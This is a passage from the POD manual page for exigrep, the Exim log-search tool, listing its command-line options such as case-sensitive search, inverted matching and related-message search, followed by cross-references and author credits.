B<-I>|B<--sensitive> Do a case sensitive search. =item B<-v>|B<--invert> Invert the meaning of the search pattern. That is, print message log entries that are not related to that pattern. =item B<-M>|B<--related> Search for related messages too. =item B<--no-pager> Do not use a pager, even if STDOUT is connected to a terminal. =item B<-h>|B<--help> Print a short reference help. For more detailed help try L<exigrep(8)>, or C<exigrep --man>. =item B<-m>|B<--man> Print this manual page of B<exigrep>. =back =head1 SEE ALSO L<exim(8)>, L<perlre(1)>, L<Exim|http://exim.org/> =head1 AUTHOR This manual page was stitched together from spec.txt by Andreas Metzler L<ametzler at downhill.at.eu.org> and updated by Heiko Schlittermann L<hs@schlittermann.de>. =cut
Close